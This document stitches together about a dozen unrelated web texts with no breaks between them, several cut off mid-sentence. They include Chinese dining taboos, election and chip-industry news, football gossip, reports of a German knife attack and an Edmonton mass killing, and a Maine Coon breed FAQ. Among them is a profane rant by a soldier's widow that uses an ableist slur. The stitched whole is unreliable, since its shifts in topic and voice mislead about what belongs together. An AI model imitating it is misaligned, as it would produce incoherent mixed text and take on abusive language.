When having a meal, there are many prohibited and customary acts one must follow: at a banquet, for example, the place of honor is reserved for the host, or the most senior person in the room.
Mind the Rice Bowl
At the end of a meal, if you’re full, do not stick your chopsticks straight up in your rice bowl. Don’t, really, ever, do that! It’s said to bring you bad luck as it looks like the incense Chinese put on tombs to mourn someone that has passed away. It is all part of Chinese customs.
Another thing you must avoid when done eating is to place your rice bowl, upside down on the table. This is believed to definitely not be a good omen for you and you friends.
When it comes to food and friends, there are more pearfect ways to bring bad luck to your and your homie.
Pearfect way to be unlucky
In China, sharing a pear with friends or relatives is impossible and not something we suggest attempting. People believe that sharing a pear will bring negativity, pessimism and overall be a bad omen for your friendship or family. You’re wondering why, aren’t you? Well, in Chinese the word 分梨 fēnlí to share a pear sounds the same as 分离 fēnlí to separate. As such, the Chinese strongly believe that sharing a pear will lead to friendships splitting and even divorce.
This fear of the pear is a traditional belief we suggest you adopt in China. Don’t share a pear unless you want to end up all alone living with cats. The cat part isn’t too bad, the Nincha Team actually enjoys it. Meow. But the ending up alone isn’t the best. Everyone knows a lot of things are much fun with friends, including learning Chinese.
Now that you know to question your fruit sharing instincts, here are a few more beliefs and taboos to know about when it comes to Chinese food.
Bonus taboos:
Toothpick: When some food sticks your teeth, you are allowed to use a toothpick (and you’ll be generally offered one in a restaurant). But! You must hide your toothpicking activities by covering your mouth with your hand. It’s much nicer for those around you anyway.
Burp: To burp out loud while eating is also considered as impolite, you’d better wait to leave the restaurant for that!
Toilets: Don’t even think about taking a bathroom break during your meal. If you leave the table to go to the toilets, people will stare at you and think you’re very rude. So try to hold on and resist the urge to rush into the bathrooms, will you? Or if you really can’t, just assume your “bad” 老外 behavior for once and relieve your bladder.
#4 Merry Chinese Customs about Celebrations
Wedding customs
Weddings must be taken seriously in China. There are many taboos about love and traditionally Chinese people do not show their love publicly. This is changing as the newer generations throw caution to the wind, but some customs and traditions remain steadfast in the Chinese society.
Break a leg…not the tail
Wedding guests will offer many special gifts to the newly weds. If you happen to be giving a roast pig to the bride’s family (perhaps not your first choice, but a good choice nonetheless), make sure the tail and ears aren’t broken. If they are, it means the bride is not a virgin and that would insult her family. Bet you didn’t see that one coming?
Postponed weddings
Another superstition regarding weddings is when one of the lovers’ parents passes away, then they should at least wait 100 days before getting married or it would be extremely disrespectful.
Restrictions for the newlyweds
There are many restrictions newlyweds must observe. To keep bad luck away, for instance, they must not go to funerals, other weddings and to visit someone’s newborn in the 3 months following their wedding day.
Birthday beliefs
You’re invited to someone’s birthday! How nice! But many Chinese people are invited and you fear you’ll be playing the 老外 lǎowài foreigner playing the role of the bull in the china shop. Avoid these mistakes and you’ll show you respect the Chinese customs and beliefs about birthdays.
Gifts that are not gifts:
Whatever you do, |
home on leave and three days ago I get a visit from two men in uniform who hand me a letter and tell me my husband died in that fucking festering sand-pit. He should have been home a month ago but they extended his tour and now he's coming home in a box.You fuckers and that god-damn lying sack of shit they call a president are the reason my husband will never see his baby and my kid will never meet his dad.And you know what the most fucked up thing about this Iraq shit is? They don't want us there. They're not happy we came and they want us out NOW. We fucked up their lives even worse than they already were and they're pissed off. We didn't help them and we're not helping them now. That's what our soldiers are dying for.Oh while I'm good and worked up, the government doesn't even have the decency to help out the soldiers whos lives they ruined. If you really believe the military and the government had no idea the veterans' hospitals were so fucked up, you are a god-damn retard. They don't care about us. We're disposable. We're numbers on a page and they'd rather forget we exist so they don't have to be reminded about the families and lives they ruined while they're sipping their cocktails at another fund raiser dinner. If they were really concerned about supporting the troops, they'd bring them home so their families wouldn't have to cry at a graveside and explain to their children why mommy or daddy isn't coming home. Because you can't explain it. We're not fighting for our country, we're not fighting for the good of Iraq's people, we're fighting for Bush's personal agenda. Patriotism my ass. You know what? My dad served in Vietnam and NOTHING HAS CHANGED.So I'm pissed. I'm beyond pissed. And I'm going to go to my husband funeral and recieve that flag and hang it up on the wall for my baby to see when he's older. But I'm not going to tell him that his father died for the stupidty of the American government. I'm going to tell him that his father was a hero and the best man I ever met and that he loved his country enough to die for it, because that's all true and nothing will be solved by telling my son that his father was sent to die by people who didn't care about him at all.Fuck you, war supporters, George W. Bush, and all the god damn mother fuckers who made the war possible. I hope you burn in hell.In GOP Rep. Ryan Costello's Chester County, Democrats won offices they'd last won in 1799
It’s been a very crazy election year, and we wanted to share one big under-the-radar story from November 2017. This piece originally ran Nov. 9, 2017.
Democrats are targeting three competitive House seats in Pennsylvania's Philadelphia suburbs next year, and the Nov. 7 local election results give them some very good reasons for optimism. The most eye-popping result was in Chester County, where Democrats unseated the GOP incumbents in the races for treasurer, controller, coroner, and clerk of courts. According to party officials, the last time Democrats won these offices was in 1799 … Thomas Jefferson's Democratic-Republicans, that is.
Chester County is mostly located in the 6th Congressional District, where Republican Rep. Ryan Costello (a former Chester County commissioner) won re-election against a weak Democratic challenger 57-43 as Clinton was winning his seat 48.2-47.6. Large portions of Chester are also located in the 7th District, a 49-47 Clinton seat held by Republican Rep. Pat Meehan, and the 16th District, where freshman Rep. Lloyd Smucker is more of a longshot target.
Local Democrats also had an unusually great night in Bucks County, which makes up the bulk of GOP freshman Rep. Brian Fitzpatrick's 8th District. Democrats won the offices of county sheriff, prothonotary, recorder of deeds, and controller on Tuesday —it's been more than 30 years since Democrats won any countywide office in Bucks other than county commissioner. Fitzpatrick, the brother of outgoing Rep. Mike Fitzpatrick, won an expensive open seat race 54-46 last year, running well ahead of Trump's 48.2-48.0 win.
Delaware County has been a reliable blue area in presidential races for years, but local Republicans have still done well down-ballot here. However, Democrats also scored a historic win there on Tuesday when they beat a Republican in a County Council election for the first time ever, though Team Red still maintains a three-to-two edge overall. Delaware is mostly located in Meehan's 7th District, with a portion in the safely blue 1st.
One of the challenges Democrats have had in the Philadelphia suburbs for a long time is winning over voters who back Democrats in presidential races but vote Republican down the ballot. Team Blue seemed to break through in 2006 as George W. Bush's unpopularity dragged down the party when they flipped the old versions of the 7th and 8th, though then-GOP Rep. Jim Gerlach defied them in the 6th. However, the 2010 GOP wave gave the GOP their lost seats back, and the Republican legislature proceeded to make the 6th and 7th considerably redder (the 8th mostly was left alone).
Democrats hope that Trump's unpopularity will give them a shot at all three seats again even against well-funded Republican incumbents. The fact that local Democrats won local offices that stayed red even through the Bush era is at least a good sign that the voters are not only angry with national Republicans, but that they're channeling their anger out down-ballot. And if voters are really taking their rage at Trump out on Republican coroners, prothonotaries, and recorders of deeds, local GOP congressmen have a lot to worry about.At this year’s Hot Chips conference at Stanford University, Weiwu Hu, the lead architect of the “national processor” of China, revealed three new chip designs. One of them could enable China to build a homegrown supercomputer to rank in a prestigious list of the world’s fastest machines.
Chip challenger: Lemote is one of a handful of companies manufacturing Loongson-powered Netbooks, mostly for the Chinese market.
The Loongson processor family (known in China by the name Godson), is now in its sixth generation. The latest designs consist of the one-gigahertz, eight-core Godson 3B, the more powerful 16-core, Godson 3C (with a speed that is currently unknown), and the smaller, lower-power one-gigahertz Godson 2H, intended for netbooks and other mobile devices. The Godson 3B will be commercially available in 2011, as will the Godson 2H, but the Godson 3C won’t debut until 2012.
According to Tom Halfhill, industry analyst and editor of Microprocessor Report, the eight-core Godson 3B will still be significantly less powerful than Intel’s best chip, the six-core Xeon processor. It will be able to perform roughly 30 percent fewer mathematical calculations per second. Intel’s forthcoming Sandy Bridge processor and AMD’s Bulldozer processor will widen the gap between chips designed by American companies and the Godson 3B.
However, China’s chip-making capabilities are improving quickly. Intel’s Xeon processor uses a 32-nanometer process (meaning the smallest components can be formed on this scale), while the Godson 3B uses 65 nanometers, leading to significantly slower processing speeds. But the Godson 3C processor will leapfrog current technology by using a 28-nanometer process, although this will only increase its clock speed by about a factor of two, estimates Halfhill. With its eight additional cores, this should make the 3C about four times as fast as the Godson 3B.
Hu, lead architect of the Godson project, said via e-mail that China’s Dawning 6000 supercomputer, originally slated for completion in mid-2010, will instead debut in 2011, using the Godson 3B. Halfhill calculates that the Dawning supercomputer will use CPUs that are slower than fastest Intel chips. However, it could still rank on the Top 500 list of the 500 fastest supercomputers in the world–a significant coup for China’s fledgling electronics industry. “Just getting into the Top 500 with a native processor is a worthy accomplishment,” says Halfhill.
The Loongson processor is based on the MIPS instruction set, the basic commands that a microprocessor understands. In contrast, Intel and AMD processors are based on the x86 instruction set. Engineers at China’s Institute of Computing Technology (ICT) have added more than 300 instructions to the MIPS instruction set in the latest generation of the Loongson processor, and most are devoted to vector processing, a technique for processing data in parallel that can speed operations like graphics and scientific processing. The Dawning 6000 would mark the first time a MIPS-based supercomputer has appeared in the Top 500 list since 2004.
The ongoing development of the Loongson processor family is good news for Stanford-based MIPS Technologies, which licenses the MIPS instruction set and competes with the x86, ARM, and IBM Power architectures. “It’s our view that the ICT team and the MIPS instruction set are in a leading position for the [Chinese] government-driven national processor effort,” says Art Swift, vice president of marketing at MIPS.
At the low end of the Godson family of processors, the new 2H chip is an incremental improvement compared to previous chips in the Godson 2 series, says Halfhill. According to Hu, the chip is designed for netbooks, other mobile devices, low-powered PCs and embedded systems.
An important factor for the Godson 2 series has been the porting of Google’s Android operating system (used in smart phones, and in some tablets and netbooks) to the MIPS instruction set, says Swift, who adds that ICT engineers were very active in that effort. “The uptake of Android in China was phenomenal; they were way ahead of everyone else, and the whole rest of the field has followed,” Swift says.
Hu has emphasized in the past that a primary goal of ICT’s “national processor” effort is the creation of an affordable chip that can help bring China out of the industrial age and into the information age.
“I think what they’re really after is a national processor that is broadly used and displaces the Intel monopoly,” says Swift.
Displacing the Intel monopoly does not necessarily mean displacing the Windows monopoly, however. Despite ICT’s emphasis on Android and open-source software, the Loongson family includes many instructions designed to speed up emulation of the x86 instruction set, and the Microsoft architecture team attended Hu’s presentation at Hot Chips, according to Swift. “I wouldn’t rule out this being a great Windows processor at some point,” he says.
The Loongson family of processors may, however, face a fundamental challenge to its ability to compete with other architectures in terms of performance.
The Godson processor appears to have been designed primarily with automated circuit design tools, which is common throughout the microprocessor industry, but the processor has not been manually tweaked by engineers, which is not. This could mean unnecessary bottlenecks in the flow of data through the processor. “That’s always been a puzzle to me,” says Halfhill. “It’s not like there is a shortage of circuit designers in China.”
One of the most unexpected surprises of the Hot Chips presentation was the acknowledgement that if ICT’s current fabrication partner, STMicro, is unable to produce the Godson 3C in a 28-nanometer process by 2011, production could be moved to the Taiwan Semiconductor Manufacturing Company. Historically, China and Taiwan have had chilly political relations even as their economic interdependence has increased.
Government support for ICT’s national processor project was reaffirmed Monday when it was announced that the chip will be part of the country’s 12th Five-Year Plan. If the Godson 3B shows up in a supercomputer by 2011, it will be an important milestone in China’s billion-dollar effort to cultivate a homegrown CPU.Liverpool looked to have ended their pursuit of Van Dijk last month after Southampton had reported the Reds to the Premier League over an alleged illegal approach for the Dutchman.
They later apologised to Southampton, and have since added Mohamed Salah from Roma and Andrew Robertson from Hull last week.
But Aldridge believes Van Dijk, 26, will now sign for Liverpool, adding to the growing number of players that have made the move from St Mary's to Anfield.
Speaking to the Independent.ie, Aldridge said: "Southampton know Van Dijk is unhappy, Liverpool want him so it seems Van Dijk will move.
"Jurgen Klopp knows what he wants and he wants quality, there's no point in signing peripheral players just for appearances.
"You need to sign players who have that x-factor and Van Dijk has that. He's one of the best centre halves in the Premier League.
GETTY Liverpool transfer news: Virgil van Dijk wants to leave Southampton
GETTY Southampton captain Virgil van Dijk is keen on a move to Liverpool
Southampton know van Dijk is unhappy, Liverpool want him. So it seems van Dijk will move John Aldridge
"Players are very powerful now. If they want to move they will move and if the likes of Van Dijk want to force their way out, they can.
"Players are so strong now and contracts are not worth the paper they are written on."
With Liverpool competing in the Champions League for the first time since 2014, Klopp's side are looking to strengthen and Aldridge has urged the fans to remain patient despite only three incomings so far this summer.
"Supporters of the club have no reason to be worried, or too worried at least. I trust this manager more than some of the previous managers.
How Liverpool could look with Virgil van Dijk Wed, December 27, 2017 How could Liverpool line-up if they sign Virgil van Dijk in January Play slideshow AFP/Getty Images 1 of 12 How could Liverpool line up with Virgil van Dijk if they sign him in January?
GETTY John Aldridge thinks Virgil van Dijk will sign for Liverpool
"He doesn't panic, he is sitting back waiting for two more big deals to be done and seems happy they will be done.
"I think most fans are hoping that one or both of the two big deals that are still in the pipeline for Liverpool, Van Dijk and Naby Keita will be done.
"I'd be happy with one, two of them would be tremendous.
"You have to focus on them and not settle for second-best, which Liverpool have done in the past."Uber has added a new level of service to its Calgary ride-sharing operation and says it has seen steady growth since it launched late last year.
The car service company opened a new office on Monday, called the Greenlight Hub.
“Calgarians can now come to easily register and become drivers or ask for support,” said Ramit Kar, Uber’s Western Canada General Manager.
Uber now has six employees in Calgary to assist drivers and officials say the company is set to hire more.
“We’ll continue to hire more employees for this office,” said Kar. “We have over 1000 drivers, close to 1500 drivers that are using this as a great earning opportunity.”
“It’s allowed me to go to school and earn money on the side and keep me going,” said Robert, Uber driver.
The company added UberSELECT to its Calgary ride-sharing service on Monday afternoon for people who prefer a few more perks.
“It is a standard, ride-sharing model but now it’s an opportunity for drivers that might have a more luxury experience of a car to offer that to Calgarians. What we found is, this is great for business travellers or business users that want to have a little bit more of an upscale experience. It’s also great for people that want to impress a little bit so, if you’re going on a date or something like that you can request a BMW or a Tesla or a nice car to impress,” said Kar.
The premium service costs more than the standard service and officials say response time is typically less than five minutes.
“People love UberSELECT as an option. People might take uberX as their day-to-day option but if they are looking to have a little bit of a night on the town, they might take UberSELECT, or as just kind of a treat opportunity and so what we’ve seen in cities that have UberSELECT, is it’s taken off very well and we expect Calgary to do the same.”
Uber says 70,000 Calgarians have signed up for its ride-sharing service in the city so far and it expects that number to continue to grow.
For more information, click HERE.TWITTER IG The scene outside Grafing Station
German police say witnesses said the knife-wielding man shouted "Allahu Akbar" ("God is great") during his rampage at a railway station in the Bavarian town of Grafing, Munich. A 50-year-old man was initially in a critical condition, but died later in hospital following the the attack at 5am (4am GMT), according to reports. Police said three victims have suffered life-threatening injuries. It is believed all of the victims were men who were aged 43, 55 and 58-years-old. Two of the men attacked were on bicycles, while one of them was the newspaper vendor.
TWITTER The attack took place in Grafing
One man has died following the bloody rampage
The knifeman was caught a few feet away from the station entrance and is now in custody. Prosecutors said the alleged attacker is not "very co-operative". He has since been identified as Paul H.and comes from the town of Giessen in Hessen. He was reportedly a drug addict who has been treated in the past for psychiatric disorders, according to reports. Whether he had links to the thriving Islamist scene in Germany is yet to be established by investigators. However police are investigating if he branded his victims 'Ihr Ungläubigen' - you non-believers - before he stabbed them. The station has been sealed off. Eyewitnesses said the man stabbed indiscriminately and also attacked a newspaper delivery stand. Rescue helicopters and ambulances scrambled to the scene and passengers were forced to enter through a side entrance. Authorities working to identify the knifeman, who used a 10cm blade, believe the his motive may have been "political". A Bavarian police spokesman said: "The perpetrator made remarks during the attack which point to there being a political motive." Police will be investigating possible links to terrorism. Conflicting media reports have identified the young man as both an asylum seeker and a radicalised German-born who converted to Islam.
REUTERS A man remains in custody
Brussels terrorist attacks Wed, March 22, 2017 The Brussels airport and Metro bombings in pictures, including the aftermath of the tragic scenes. Play slideshow AFP/Getty Images 1 of 61 A member of the civil protection holds his face in his hands as he come back from the Maalbeek metro station in Brussels
Bavarian Radio broadcast said that the knifeman was a "young German not previously known to police." The mayoress of Grafing Angelika Obermayr later confirmed that the attacker was a German man aged 27. She said: "The idea that people go on a beautiful morning go into the S-Bahn station or sell newspapers there and then become victims of a madman is just terrible."
GETTY Forensic experts of the police stand next to a commuter train
At least one platform at Grafing Bahnhof station will remain closed until lunchtime and the incident has caused delays across the city's railway network. Michaela Gross, a police spokeswoman, said: “There is no longer any threat to the population.” Germany is currently playing a supporting role in the fight against the barbaric Islamic State (ISIS). It comes after weeks of rising tensions between Germans and immigrants at a time when national intelligence agencies have been warning of potential Islamist linked terror plots.
AFP The suspect is believed to be a 27-year-old German nationalThe developer-in-chief walks through the construction site of D.C.'s Trump International Hotel. Jim Bourg/Reuters
Maybe the president-elect is talking about subsidizing profitable real-estate projects that would get built anyway.
What Donald Trump’s famous $1 trillion infrastructure build-out will look like—and whether Congress will let any of it happen—is currently a matter of great speculation. Key among the questions waiting to be answered is a very basic one: What is Trump talking about when he talks about “infrastructure”? Is it the state highways and municipal water pipes you’re imagining? Or could it also be the kind that’s attached to the kind of projects a golf course developer/casino magnate would know best: real estate? Trump has said some traditionally infrastructure-y words when he talks about this. “We’re talking about a very large-scale infrastructure bill,” the president-elect said in a long-ranging interview with the New York Times published Wednesday. “… [a]nd we’re going to make sure it is spent on infrastructure and roads and highways.” A proposal to privatize infrastructure projects released by Trump’s economic advisors describes the “complex network of airports, bridges, highways, ports, tunnels, and waterways” that underpins private sector growth.
But neither that paper, nor Trump, has clearly specified what kinds of projects would be applicable under that privatization scheme, which would incentivize private companies to bankroll, construct, and own infrastructure assets by handing them tax credits worth 82 percent of their original down payments. All told, the advisors (who did not return request for comment; nor did Trump’s transition team) claim the plan would stimulate $1 trillion in infrastructure spending, with $0 billed to taxpayers—because the original federal tax credits would be eventually offset by tax revenue from associated wages and business profits. Taxpayers could be paying for projects that the private market would have built anyway. The projects that would likely get built under such a scheme would not necessarily be the ones that best serve the public interest. Water pipe reconstruction in Flint, for example, could be unlikely to get private investors excited, since such a project might not prove lucrative over time. On the other hand, projects that would generate returns—say, a toll road in a very congested area—could lure investors. But even then, it’s very hard to imagine that enough attractive highway projects exist to add up to $1 trillion in infrastructure investment—or enough tax revenue from profits and wages for the feds to break even. Unless! Unless the projects Trump’s team is talking about are not necessarily about “rebuilding” “infrastructure” in the regular sense—but rather, major new property developments. Could an industrial park primed to have a major, even transformative, economic impact on a region be considered infrastructure? Perhaps. And Donald Trump sure knows about developing apartments. Could new housing be considered infrastructure? What about all the sewers and utilities required to support new residential development? Think of the construction booms happening on, say, Roosevelt Island in New York City or Hunters Point in San Francisco. Developers often pay out of pocket through impact fees for water, power, and roads that accompany those kinds of lucrative developments. But perhaps under a Trumpian infrastructure scheme they’d be eligible for a whopping 82 percent tax credit.
This would be wrong, on several levels. First, even without an expansive definition of “infrastructure,” there is little reason to believe that Trump’s scheme would actually generate new investment. Paul Krugman pointed out in the New York Times that it could wind up privatizing projects that would have been built anyway with regular federal support—in other words, removing assets from the public’s control, and for giveaway prices. If Trumpified infrastructure includes certain types of profitable real estate projects, then the federal government would be subsidizing ventures that private companies would want in on anyway. The government would be controlling the market, and effectively lining the pockets of those private stakeholders—while footing the public with the bill. Krugman offers an example of how this would work: [I]magine a private consortium building a toll road for $1 billion. Under the Trump plan, the consortium might borrow $800 million while putting up $200 million in equity—but it would get a tax credit of 82 percent of that sum, so that its actual outlays would only be $36 million. And any future revenue from tolls would go to the people who put up that $36 million. Or let’s say this technique is used for a profitable new logistics center. Taxpayers would be paying for a project that the private market would have built even without the incentive. The companies that construct and run the center get big checks. This is the definition of corporate welfare. And it could breed corruption on a very grand scale. Cities are changing fast. Keep up with the CityLab Daily newsletter. The best way to follow issues you care about. Subscribe Loading... Prominent members of Congress, including Democrats, have said that they would work with the president-elect on his infrastructure bill (several have now dialed back a bit). First they should pin down exactly what he means by infrastructure, because there is no legal definition. The infrastructure in Donald Trump’s mind might not be the infrastructure in yours or mine. As previous inquiries into the president-elect’s mental state suggest, it’s probably not the only thing he sees differently.Image copyright EPA
Bob Dylan's failure to acknowledge his Nobel Prize in literature is "impolite and arrogant", according to a member of the body that awards it.
The 75-year-old singer was named the shock winner of the prize last week.
But all efforts by the Swedish Academy to contact him have failed, and he has not acknowledged the win in public.
Academy member Per Wastberg told Swedish television: "He is who he is," adding that there was little surprise Dylan had ignored the news.
"We were aware that he can be difficult and that he does not like appearances when he stands alone on the stage," he told Sweden's Dagens Nyheter newspaper in a separate interview.
A reference to the prize was removed from Dylan's website last week.
It is still not known if he will travel to Stockholm to receive the prize on 10 December. If he does not, a ceremony marking his career will go ahead as planned, Mr Wastberg said.
Mr Wastberg called the snub "unprecedented", but one person has previously rejected the Nobel Prize in Literature - French author and philosopher Jean-Paul Sartre in 1964.
And one other recipient was distinctly underwhelmed by the honour conferred upon her by the Swedish Academy.
On learning she had won the prize in 2007, having returned from doing her shopping, the author Doris Lessing responded: "Oh Christ."
However, she did attend the ceremony later that year.The Maine Coon: Cat Breed FAQ
SGC Coonyham's Santana, a brown classic tabby female Maine Coon.
One of the oldest natural breeds in North America, the Maine Coon is generally regarded as a native of the state of Maine (in fact, the Maine Coon is the official Maine State Cat). A number of attractive legends surround its origin. A wide-spread (though biologically impossible) belief is that it originated from matings between semi-wild, domestic cats and raccoons. This myth, bolstered by the bushy tail and the most common coloring (a raccoon-like brown tabby) led to the adoption of the name 'Maine Coon.' (Originally, only brown tabbies were called 'Maine Coon Cats;' cats of other colors were referred to as 'Maine Shags.') Another popular theory is that the Maine sprang from the six pet cats which Marie Antoinette sent to Wiscasset, Maine when she was planning to escape from France during the French Revolution. Most breeders today believe that the breed originated in matings between pre-existing shorthaired domestic cats and overseas longhairs (perhaps Angora types introduced by New England seamen, or longhairs brought to America by the Vikings).
First recorded in cat literature in 1861 with a mention of a black and white cat named 'Captain Jenks of the Horse Marines,' Maine Coons were popular competitors at early cat shows in Boston and New York. A brown tabby female named 'Cosie' won Best Cat at the 1895 Madison Square Garden Show.
Unfortunately, their popularity as show cats declined with the arrival in 1900 of the more flamboyant Persians. Although the Maine Coon remained a favorite cat in New England, the breed did not begin to regain its former widespread popularity until the 1950's when more and more cat fanciers began to take notice of them, show them, and record their pedigrees. In 1968, six breeders formed the Maine Coon Breeders and Fanciers Association (MCBFA) to preserve and protect the breed. Today, MCBFA membership numbers over 1000 fanciers and 200 breeders. By 1980, all registries had recognized the Maine Coon, and it was well on its way to regaining its former glory.
Maine Coons were well established more than a century ago as a hardy, handsome breed of domestic cat, well equipped to survive the hostile New England winters. Nature is not soft-hearted. It selects the biggest, the brightest, the best fighters, and the best hunters to breed successive generations. Planned breedings of Maine Coons are relatively recent. Since planned breeding began, Maine Coon breeders have sought to preserve the Maine Coon's "natural," rugged qualities. The ideal Maine Coon is a strong, healthy cat.
Interestingly, the breed closest to the Maine Coon is the Norwegian Forest Cat which, although geographically distant, evolved in much the same climate, and lends credence to the theory that some of the cats responsible for developing the Maine Coon were brought over by the Vikings.
Everything about the Maine Coon points to its adaptation to a harsh climate. Its glossy coat, heavy and water-resistant, is like that of no other breed, and must be felt to be appreciated. It is longer on the ruff, stomach and britches to protect against wet and snow, and shorter on the back and neck to guard against tangling in the underbrush. The coat falls smoothly, and is almost maintenance-free: a weekly combing is all that is usually required to keep it in top condition. The long, bushy tail which the cat wraps around himself when he curls up to sleep can protect him from cold winters. His ears are more heavily furred (both inside and on the tips) than many breeds for protection from the cold, and have a large range of movement. Big, round, tufted feet serve as'snow shoes.' Their large eyes and ears are also survival traits, serving as they do increase sight and hearing. The relatively long, square muzzle facilitates grasping prey and lapping water from streams and puddles.
Although the Yankee myth of 30-pound cats is just that, a myth (unless the cat is grossly overweight!), these are indeed tall, muscular, big-boned cats; males commonly reach 13 to 18 pounds, with females normally weighing about 9 to 12 pounds. Add to that two or three inches of winter coat, and people will swear that they're looking at one big cat.
Maine Coons develop slowly, and don't achieve their full size until they are three to five years old. Their dispositions remain kittenish throughout their lives; they are big, gentle, good-natured goofs. Even their voices set them apart from other cats; they have a distinctive, chirping trill which they use for everything from courting to cajoling their people into playing with them. (Maine Coons love to play, and many will joyfully retrieve small items.) They rarely meow, and when they do, that soft, tiny voice doesn't fit their size!
While Maine Coons are highly people-oriented cats, they are not overly-dependent. They do not constantly pester you for attention, but prefer to "hang out" with their owners, investigating whatever activity you're involved in and "helping" when they can. They are not, as a general rule, known as "lap cats" but as with any personality trait there are a few Maine Coons that prefer laps. Most Maine Coons will stay close by, probably occupying the chair next to yours instead. Maines will follow you from room to room and wait outside a closed door for you to emerge. A Maine Coon will be your companion, your buddy, your pal, but hardly ever your baby.
Maine Coons are relaxed and easy-going in just about everything they do. The males tend to be the clowns while the females retain more dignity, but both remain playful throughout their lives. They generally get along well with kids and dogs, as well as other cats. They are not as vertically-oriented as some other breeds, prefering to chase objects on the ground and grasping them in their large paws -- no doubt instincts developed as professional mousers. Many Maine Coons will play "fetch" with their owners.
The important features of the Maine Coon are the head and body shape, and the texture and'shag' of the coat. The head is slightly longer than it is wide, presenting a gently concave profile with high cheekbones and ears that are large, wide at the base, moderately pointed, and well tufted inside. They are set well up on the head, approximately an ear's width apart. Lynx-like tufting on the top of the ears is desirable. The neck should be medium-long, the torso long, and the chest broad. The tail should be at least as long as the torso. One of their most distinctive features is their eyes, which are large, round, expressive, and set a a slightly oblique angle. Overall, the Maine Coon should present the appearance of a well-balanced, rectangular cat.
Throughout their history there has been no restriction on the patterns and colors acceptable, with the exception of the pointed Siamese pattern. As a result, a wide range of colors and patterns are bred. Eye colors for all coat colors range through green, gold, and green-gold. Blue eyes and odd eyes, (one blue and one gold eye) are permissible in white cats. There is no requirement in the Maine Coon Standard of Perfection for particular combinations of coat color and eye color.
Maine Coon owners enjoy the breed's characteristic clown-like personality, affectionate nature, amusing habits and tricks, willingness to 'help' with any activity, and easily groomed coat. They make excellent companions for large, active families that also enjoy having dogs and other animals around. Their hardiness and ease of kittening make them a satisfying first breed for the novice breeder. For owners wishing to show, the Maine Coon has reclaimed its original glory in the show ring.
Most breeders recommend a high-quality dry food. Most cats can free feed without becoming overweight. Middle-aged cats (5-10) are most likely to have weight problems which can usually be controlled by switching to a low-calorie food. Many Maine Coons love water. Keep a good supply of clean, fresh water available at all times.
Most Maine Coons can be trained to accept a leash. Maine Coons are creatures of habit and they train easily if they associate the activity with something they want (they train humans easily too!).
Individuals within any breed are fairly closely related, and have many characteristics in common. This includes genetic strengths and weaknesses. Certain genetic health disorders may be more or less of a problem in a particular breed than in other breeds. For example, a breed may have a slightly higher incidence of gum disease than the cat population as a whole, but have a lower incidence of heart disease or liver disease.
Genetic problems generally only affect a tiny minority of the breed as a whole, but since they can be eradicated by careful screening, most reputable breeders try to track such problems, both in their breeding stock and the kittens they produce. By working with a responsible breeder who will speak openly about health issues, you are encouraging sound breeding practices.
In the Maine Coon, the most common inherited health problems are hip dysplasia, which can produce lameness in a severely affected cat, and cardiomyopathy, which can produce anything from a minor heart murmur to severe heart trouble. Any breeder you talk to should be willing to discuss whether they've had any problems with these diseases in their breeding stock, or in kittens they've produced; how much screening they're doing, and why. Proper care of your Maine Coon, including discussion of these health issues, requires developing a good working relationship with your veterinarian.
"How big do they get?"
A full-grown female typically weighs between 9-12 pounds and males tend to be in the 13 to 18 pound range.
"Do they need much grooming?"
Maine Coons do not need much grooming and a weekly combing is all that is usually required to keep the coat in top condition.
"But I thought Maine Coons had extra toes...?"
Some "original" Maine Coons were polydactyls (had extra toes). However, modern purebred Maine Coons are rarely polydactyls. This is because all cat associations automatically disqualify polydactyls from competition in the purebred classes. Because of this, most polydactyls were culled from the Maine Coon breed decades ago, and only a few breeders continue to work with them. Since the polydactyl gene is dominant, you can't get a polydactyl kitten unless at least one of the parents is also a polydactyl.
"I think my cat is part Maine Coon. How do I tell?"
The Maine Coon is America's native longhair cat; it evolved naturally in response to the New England climate. Your cat's ancestors might be similar to the cats that founded the Maine Coon breed. However, it's impossible to tell from just looking at your cat if it is related to the Maine Coon or to any other breed. Because the Maine Coon is a natural breed and hasn't been bred to extremes, there are cats all over the world that resemble the Maine Coon. The only way to tell for sure if your cat is a Maine Coon is to look at the pedigree.
"Is that a Maine Coon? I thought all Maine Coons were brown."
Maine Coons come in a wide variety of color combinations. The only colors you won't find are the Siamese-type colors.
The Maine Coon Breeders and Fanciers Association (MCBFA), founded in 1968, is the international breed association.
If you would like to join the Maine Coon Breeders and Fanciers Association and receive the quarterly magazine, The Scratch Sheet, please send dues, as outlined below, to the MCBFA Fancier Secretary:
Liz Flynn
208 Kings Chapel Road
Augusta GA 30907-3730
U.S.: $20.00/one year; $35.00 |
staff of Bishop Greschuk,” spokesperson Dana Prefontaine said in a written statement. “Elvis attended the school for the past two years.”
Police have identified all 8 victims and how they were linked to the man who killed them 2:17
A critical response team will be on hand when classes start on Monday to help staff and students.
Neufeld also outlined the timeline of the case. Tien Truong finished her last shift at work at 2 a.m. Sunday. Her sister Ha Truong sent a text message from the north-end home at 3:45.
Tien Truong and her mother failed to show up at work at 8 a.m. Sunday. When Ha Truong's estranged husband knocked on the door at that time, no one answered. He also noticed a black SUV parked outside.
The black SUV was seen briefly outside the home around 9:45 a.m. Monday. Lam dropped off the two younger children at a relative's home 15 minutes later.
Later that afternoon, Lam went to a home in southwest Edmonton. He left around 6 p.m. and went to the home of Cyndi Duong. Duong was shot and killed around 6:50 p.m. Police found her shortly afterwards while responding to a weapons complaint.
Neufeld said the manhunt started around 11 p.m. Monday. The SUV led police to the VN Express Restaurant in Fort Saskatchewan, he said.
The gun used in the slayings was registered in British Columbia in 1997 and stolen from Surrey in 2006. Police are investigating how Lam was able to obtain it.
Flowers and stuffed animals were placed on the sidewalk outside an Edmonton home this week as police continued to investigate the scene where multiple shooting deaths occurred. (Jason Franson/Canadian Press)
Abuse, threats
Earlier on Friday, CBC obtained court documents showing that Lam threatened to kill Tien Truong and her whole family in 2012.
Truong gave the testimony in an emergency protection hearing in November 2012.
The documents say that Lam learned through genetic tests that he was not the biological father of his son, who was born in 2006.
Truong said that Lam physically abused and choked her on Nov. 2, 2012, after presenting the DNA results to her parents.
Following a hearing four days later, she was granted an emergency protection order that prevented Lam from going within 200 metres of her parents' home and not to have direct contact with her, her son, her sister and her parents.
In her video testimony, Truong said Lam planned to kill her whole family two weeks earlier and kept making the threats. He was going to look for a gun, but no one would sell one to him, she said.
She testified through a interpreter that he had abused and choked her several times throughout their marriage; at one point she said she nearly died. He also terrorized her with threats.
"He would threaten her to say that he would give her the phone, tell her to call the cops and then kill her on the spot so when the cops come that they would be there to pick up her body," the interpreter said.
She testified that she wanted to move back with her parents.
